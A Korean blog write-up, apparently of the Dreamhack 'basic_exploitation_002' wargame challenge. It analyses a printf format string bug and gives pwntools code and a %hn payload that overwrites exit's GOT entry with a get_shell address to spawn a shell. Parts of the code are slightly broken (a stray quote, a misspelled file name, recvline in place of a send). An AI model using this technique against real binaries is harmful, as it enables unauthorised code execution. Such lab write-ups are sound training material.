basic_exploitation_002

곽무경·2022년 7월 10일

System Hacking Quiz

목록 보기
19/21

접속 환경


Partial RELRO, NX

분석 및 설계

  • PIE가 적용되어 있지 않으므로, 코드 영역의 주소는 변하지 않는다.
  • get_shell 함수(system("/bin/sh"))가 있다. → 주소 구하기

    0x8048609
  • printf(buf) 에서 Format String Bug가 발생한다.
  • read 함수에서 정확히 0x80 바이트 (buf size)를 읽어온다.
  • 아이디어 1 : 반환주소를 get_shell 함수로 덮는다 → 불가능 (return이 없음)
  • 아이디어 2 : exit 함수의 got를 get_shell 함수로 덮는다.

1. exit 함수의 got

from pwn import *
p=remote("host3.dreamhack.games", 13212")
context.arch="i386"
e=ELF("./basic_exploiation_002")

exit=e.got['exit']

2. payload 구성, 전송, 셸 획득

%n을 통해 get_shell의 주소 0x8048609를 써야 하는데,
0x8048609는 10진수로 변환하면 134,514,185로 너무 크다. (30초 내에 다 못함)
그래서 804, 8609를 나눠서 각각 exit+2, exit에 대입한다.
0x804=2052
0x8609=34313

payload=b"%2052c%7$hn%32261c%8$hnA" # 2바이트씩이므로 %hn 사용, 스택 정렬(A)
payload+=p32(exit+2)+p32(exit)

p.recvline(payload)
p.interactive()

0개의 댓글